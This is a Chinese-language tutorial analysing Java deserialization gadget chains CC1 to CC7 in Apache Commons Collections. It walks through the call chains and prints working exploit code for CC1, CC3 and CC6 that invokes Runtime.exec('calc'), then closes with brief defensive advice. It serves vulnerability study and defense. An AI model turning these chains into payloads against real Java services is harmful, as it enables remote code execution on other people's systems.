Java反序列化之CC调用链过程1-7探究详解
字数 1716 2025-08-20 18:16:58
Java反序列化之CC调用链过程1-7探究详解
1. CommonsCollections反序列化基础
1.1 反序列化漏洞原理
反序列化漏洞的核心在于当Java应用反序列化不可信数据时,攻击者可以构造恶意序列化对象,在反序列化过程中触发一系列方法调用,最终执行任意代码。
1.2 关键版本信息
- 测试版本:jdk8u65(jdk8u71开始有漏洞修复)
- Commons-Collections包中的Transformer类是关键
2. CommonsCollections1分析
2.1 Transformer类分析
Transformer接口主要用途是接收对象并通过transform方法进行操作。关键实现类:
- NOPTransformer:无操作,直接返回输入
- ConstantTransformer:返回固定常量
- InvokerTransformer:通过反射调用任意方法(危险类)
2.2 InvokerTransformer利用
InvokerTransformer允许通过反射调用任意方法:
public Object transform(Object input) {
if (input == null) return null;
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} //...
}
2.3 命令执行验证
将Runtime.getRuntime().exec("calc")转化为反射调用:
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
使用InvokerTransformer实现:
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
3. 调用链构造
3.1 后半条链:从transform到命令执行
寻找能调用transform的类:
- TransformedMap:通过
checkSetValue调用valueTransformer.transform - MapEntry.setValue:调用
parent.checkSetValue
3.2 前半条链:从反序列化到transform
寻找在readObject中能触发链的类:
- AnnotationInvocationHandler:在
readObject中遍历map并调用setValue
3.3 完整调用链
AnnotationInvocationHandler.readObject()
-> TransformedMap.entrySet().iterator().next().setValue()
-> TransformedMap.checkSetValue()
-> InvokerTransformer.transform()
-> Runtime.exec()
3.4 EXP问题解决
-
Runtime不可序列化:通过反射链获取Runtime实例
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; -
if判断进入setValue:使用有方法名的注解类(如
Target.class)并将map的key设为"value" -
transform中value设置:使用
ConstantTransformer固定value
3.5 完整EXP(CC1TransformedMap)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedmap);
4. CommonsCollections3:动态类加载
4.1 字节码加载方式
- URLClassLoader:从远程加载类
- defineClass:直接加载字节码
4.2 TemplatesImpl利用
TemplatesImpl提供了从字节码加载类的完整链:
TemplatesImpl.newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
-> loader.defineClass()
-> newInstance()
4.3 恶意类要求
- 父类为
AbstractTranslet - 实现
transform方法 - 静态代码块中执行恶意代码
public class Demo extends AbstractTranslet {
static {
try { Runtime.getRuntime().exec("calc"); }
catch (IOException e) { e.printStackTrace(); }
}
// 必须实现的方法...
}
4.4 EXP(CC3TemplatesImpl)
TemplatesImpl templates = new TemplatesImpl();
// 设置_name
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
// 加载字节码
byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
Field bytecodeField = templates.getClass().getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
bytecodeField.set(templates, new byte[][]{code});
// 设置_tfactory
Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 构造调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
5. CommonsCollections6:绕过JDK高版本限制
5.1 调用链
利用HashMap的readObject触发:
HashMap.readObject()
-> hash()
-> TiedMapEntry.hashCode()
-> getValue()
-> LazyMap.get()
-> transform()
5.2 关键类
- TiedMapEntry:连接Map和Entry
- LazyMap:延迟调用transform
5.3 EXP(CC6TiedMapEntry)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
Lazymap.remove("aaa"); // 确保反序列化时能进入if
// 反射设置真正的transformer
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazymap, chainedTransformer);
6. 其他CC链变种
6.1 CommonsCollections4
利用TransformingComparator在CC4中的序列化支持:
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> compare()
-> transform()
6.2 CommonsCollections5
利用BadAttributeValueExpException:
BadAttributeValueExpException.readObject()
-> toString()
-> getValue()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> transform()
6.3 CommonsCollections7
利用Hashtable的哈希碰撞:
Hashtable.readObject()
-> reconstitutionPut()
-> equals()
-> AbstractMapDecorator.equals()
-> get()
-> transform()
7. 防御建议
- 升级Commons-Collections到安全版本
- 使用JDK高版本(8u71+修复了部分问题)
- 使用反序列化过滤器
- 避免反序列化不可信数据
总结
CC链展示了Java反序列化漏洞的典型利用方式,通过精心构造的调用链,攻击者可以从反序列化操作最终执行任意代码。理解这些调用链有助于更好地防御此类漏洞。